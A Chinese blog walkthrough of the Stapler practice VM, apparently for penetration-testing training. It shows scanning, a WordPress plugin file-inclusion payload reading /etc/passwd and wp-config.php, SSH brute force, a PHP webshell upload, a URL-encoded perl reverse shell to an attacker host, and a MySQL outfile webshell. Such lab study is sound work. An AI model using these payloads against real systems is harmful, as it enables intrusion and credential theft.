下载链接:
安装:
如果在vm导入ovf文件会提示报错信息
打开ovf文件,将文档中所有的Caption替换为ElementName
然后删除同一文件夹下的Stapler.mf文件
再重新导入ovf文件
在选择新虚拟机的存储路径时,应选择一个新的空目录导入,否则大概率会提示失败
如果出现该提示,直接选择重试
在开启靶场之前,先重新配置网卡,否则可能会出先靶场开启不完全,导致无法练习
改为桥接或者NAT模式(根据自己情况选择)
更改完成后再开启虚拟机,稍等片刻
靶场开启成功
正文:
先用nmap扫描靶机ip
nmap -sn 192.168.1.1/24
获取到靶机ip后,对靶机的端口进行扫描,并把结果输出到Stapler文件夹下,命名为port方便后续查看
nmap -p- 192.168.1.36 -PN -r -oA Stapler/port
(-p-:对所有端口进行探测
-PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标
-oA:输出到指定位置
-r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。
)
对扫描出来的端口进行指纹探测
筛选出带有”open“的行
cat Stapler/port.nmap| grep open|awk -F '/' '{print $1}'
以”/“为分隔符打印出第一列并把换行符改为逗号,方便复制
cat Stapler/port.nmap| grep open|awk -F '/' '{print $1}'|tr '\n' ','
nmap -p 21,22,53,80,139,666,3306,12380 192.168.1.36 -sC -sV -r -O --version-all -A -oA Stapler/server
(-p:对指定的端口进行探测
-sV:版本信息
-sC:默认脚本扫描
-A:启动Os检测,版本检测,脚本扫描和traceroute
-O:探测操作系统信息
--version-all:尽可能多的探测信息)
发现21端口具有未授权访问,账号是anonymous,我们进行登录查看
ftp 192.168.1.36
输入账号,密码直接回车
登录成功
该目录下有个note文件
我们下载下来看看
get note
退出frp,查看下note文件内容
我们只发现了有两个用户名,保存一下elly,john
访问80端口看下
没有东西,右键检查源代码也没有什么东西
我们用dirsearch对80端口进行目录爆破
dirsearch -u "192.168.1.36"
发现了三个文件,我们在网页上将三个文件下载下来
192.168.1.36/.bash_logout
发现文件中还是没有什么有用的东西
我们对该地址进行枚举看看
enum4linux 192.168.1.36
发现了一些用户名,我们将这些用户名保存下来
vim username.txt
单机键盘上的“i”键
将用户名复制进去
按esc后输入 :wq保存退出
以斜杠为分隔符打印出来第二列
cat username.txt|awk -F '\' '{print $2}'
以“空格”为分隔符保存第一列
cat username.txt | awk -F '\' '{print $2}'|awk -F ' ' '{print $1}' > username.txt
cat username.txt
该靶场的12380端口同样也是http服务,我们访问下看看
右键查看源代码也没有发现什么东西,那我们继续进行目录爆破试试
dirsearch -u "192.168.1.36:12380"
但是发现爆破出来0个目录
我们进行手动测试,发现在192.168.1.36:12380下无论输入什么url都会返回到该网址
那我们用bp抓下返回包看下
提示请求错误,可能是协议问题,我们现在是http协议,改为https协议试试
https://192.168.1.36:12380/
访问成功!
我们再用dirsearch去爆破下目录试试
dirsearch -u "https://192.168.1.36:12380/"
我们访问robots.txt目录后
发现了另外两个目录
进行访问查看
发现admin112233目录下会直接进行弹窗,并且bp拦截不到
那再kali中用curl进行分析看看
curl https://192.168.1.36:12380/admin112233/ -k
(-k:忽略证书验证)
根据提示,我们在浏览器中禁止js运行再看看(火狐浏览器在网址处输入 about:config,其他浏览器请自行百度)
他说给自己一个cookie,js没有运行,但是经过测试,他并没有给我cookie,并且我通过抓包给自己添加cookie参数也没有任何反应
我们去访问另一个目录看看有没有什么发现
在该界面的最下方发现为wordpress
我们在爆破一下目录看看
dirsearch -u "https://192.168.1.36:12380/blogblog/"
进入该网址查看
https://192.168.1.36:12380/blogblog/wp-content/
https://192.168.1.36:12380/blogblog/wp-content/
https://192.168.1.36:12380/blogblog/wp-content/
发现了他的插件目录
我们到kali去搜索插件漏洞看看
searchsploit wordpress advanced video
是个本地文件包含漏洞
我们将该py脚本复制下来看看
searchsploit wordpress advanced video -m 39646.py
我们查看下当前脚本
cat 39646.c
给到了我们poc
但是我们需要修改文件中给到的url
vim 39646.py
按下键盘上的“i”键
然后将此处的url改为靶场地址
https://192.168.1.36:12380/blogblog/
https://192.168.1.36:12380/blogblog/
https://192.168.1.36:12380/blogblog/
修改完成后按esc,输入 ”:wq“进行保存
然后使用该脚本
python 39646.py
如果出现该提示,那我们就手动进行测试,毕竟py文件中已经提供给我们poc了
根据它所提供的poc,我们可以自己构造payload
https://192.168.1.36:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=/etc/passwd
/etc/passwd 是读取/etc目录下的用户文件
我们可以在上传目录下发现一个新文件
我们单击打开发现报错了
那该文件可能不是图片
我们在kali中将该文件下载下来并进行查看
我们需要忽略掉证书检查参数为:--no-check-certificate
wget https://192.168.1.36:12380/blogblog/wp-content/uploads/1581599171.jpeg --no-check-certificate
利用cat进行阅读该文件,发现我们确实读取到了用户文件,那么证明我们手动方法可行(这些用户我们之前在枚举中保存过)
我们构造一个新的payload进行读取账号密码
根据py脚本,我们可以构造一个payload进行读取mysql账号密码
https://192.168.1.36:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=wp-config.php
发现报错了,那么这个文件可能并不在当前目录下,我们一层层往外读取看看
https://192.168.1.36:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php
这次没有报错,我们回到uploads目录下找最新时间的文件
并用同样的方法在kali中下载下来
wget https://192.168.1.36:12380/blogblog/wp-content/uploads/1892234301.jpeg --no-check-certificate
cat 1892234301.jpeg
发现账号密码,我们将该文件重命名,方便我们后续使用
mv 1892234301.jpeg mysql
我们可以尝试使用新思路
我们有这个密码和之前保存的用户名,我们可以尝试对ssh进行爆破
hydra 192.168.1.36 ssh -L username.txt -p plbkac
(-L:指定用户名文件 -l :指定用户名
-P:指定密码文件 -p:指定密码)
发现确实存在!
获取shell
进行ssh登录
ssh zoe@192.168.1.36
提权
接下来进行提权操作
查找具有 Setuid 权限的文件的命令
find / -perm -u=s -type f 2>/dev/null
可以到该网站上进行查看(GTFOBins)
发现并没有什么可以用来提权的
但是我们发现每个用户下都存在一个.bash_history文件
返回上一个目录
cd ..
查看所有文件夹下的.bash_history文件内容
cat ./*/.bash_history
(./:为当前目录
*:通配符,表示所有文件夹)
我们发现了这两个东西(sshpass 是一个用于在命令行中自动提供 SSH 密码的工具。它允许您在不交互式地输入密码的情况下通过 SSH 连接到远程主机)
看来有获得了两个账号密码
我们保存一下
再次进行ssh登录,看有没有权限更高的用户
发现peter用户有所有权限
sudo su
获得root权限
我们同样可以通过之前获取到mysql账号密码进行下一步操作
获取shell2
mysql -uroot -pplbkac -h 192.168.1.36
登陆成功
查看数据库
show databases;
use wordpress;
show tables;
desc wp_users;
select user_login,user_pass from wp_users;
将其复制出来到sql.txt
我们利用筛选,留下账号密码密码并保存到sql.txt中
cat sql.txt|awk -F '|' '{print $2 $3}'>sql.txt
我们随便选两组密码去查看下是什么加密方式
hash-identifier
加密方式都是md5
通过md5解密网站获取到账号密码
john:incorrect
我们在
https://192.168.1.36:12380/blogblog/
该网站下尝试进行登录
登录成功后
在该位置发现文件上传
上传准备好的一句话木马
GIF89a
<?php
system($_GET['132']);
phpinfo();
?>
(phpinfo():方便我们查看有没有解析成功
GIF89a:伪造文件头为gif)
上传成功
我们打开之前爆破到的文件上传处的地址
https://192.168.1.36:12380/blogblog/wp-content/uploads/
打开运行
成功解析,那我们给“132”传参试试
https://192.168.1.36:12380/blogblog/wp-content/uploads/back.php_.php?132=id
(该一句话用system可以传参数进行远程代码执行,不可用蚁剑等链接,用eval可以用蚁剑链接)
(在这里我没选择用蚁剑)
可以执行命令,那我们在kali中打开监听
nc -lvvp 8080
在URL中反弹shell
(可在该网站中生成反弹shell生成器 (ywhack.com))
perl -e 'use Socket;$i="192.168.1.35";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
(要进行URL编码再进行反弹shell,因为我们是在URL中输入,该指令的“&”符号在URL中的意思为传参数,所以要进行URL编码,该指令才会正常运行)
编码后
%70%65%72%6c%20%2d%65%20%27%75%73%65%20%53%6f%63%6b%65%74%3b%24%69%3d%22%31%39%32%2e%31%36%38%2e%31%2e%33%35%22%3b%24%70%3d%38%30%38%30%3b%73%6f%63%6b%65%74%28%53%2c%50%46%5f%49%4e%45%54%2c%53%4f%43%4b%5f%53%54%52%45%41%4d%2c%67%65%74%70%72%6f%74%6f%62%79%6e%61%6d%65%28%22%74%63%70%22%29%29%3b%69%66%28%63%6f%6e%6e%65%63%74%28%53%2c%73%6f%63%6b%61%64%64%72%5f%69%6e%28%24%70%2c%69%6e%65%74%5f%61%74%6f%6e%28%24%69%29%29%29%29%7b%6f%70%65%6e%28%53%54%44%49%4e%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%4f%55%54%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%45%52%52%2c%22%3e%26%53%22%29%3b%65%78%65%63%28%22%73%68%20%2d%69%22%29%3b%7d%3b%27
完整payload
https://192.168.1.36:12380/blogblog/wp-content/uploads/back.php_.php?132=%70%65%72%6c%20%2d%65%20%27%75%73%65%20%53%6f%63%6b%65%74%3b%24%69%3d%22%31%39%32%2e%31%36%38%2e%31%2e%33%35%22%3b%24%70%3d%38%30%38%30%3b%73%6f%63%6b%65%74%28%53%2c%50%46%5f%49%4e%45%54%2c%53%4f%43%4b%5f%53%54%52%45%41%4d%2c%67%65%74%70%72%6f%74%6f%62%79%6e%61%6d%65%28%22%74%63%70%22%29%29%3b%69%66%28%63%6f%6e%6e%65%63%74%28%53%2c%73%6f%63%6b%61%64%64%72%5f%69%6e%28%24%70%2c%69%6e%65%74%5f%61%74%6f%6e%28%24%69%29%29%29%29%7b%6f%70%65%6e%28%53%54%44%49%4e%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%4f%55%54%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%45%52%52%2c%22%3e%26%53%22%29%3b%65%78%65%63%28%22%73%68%20%2d%69%22%29%3b%7d%3b%27
获取shell成功
通过查看内核版本进行内核提权(可以看我以往的博客中,里面有写)
获取shell3
同样我们可以通过之前链接的数据库,发现mysql具有写入权限
我们也可以直接写入一句话木马
select "<?php system($_GET['132']); phpinfo();?>" into outfile '/var/www/https/blogblog/wp-content/uploads/shell.php';
同样可以在uploads文件夹中找到我们刚刚写入的shell文件
同样打开后可以进行代码执行,从而反弹shell,
接着可以使用Linux或者Ubantu内核进行提权(可以看我之前的博客中,有用到内核提权)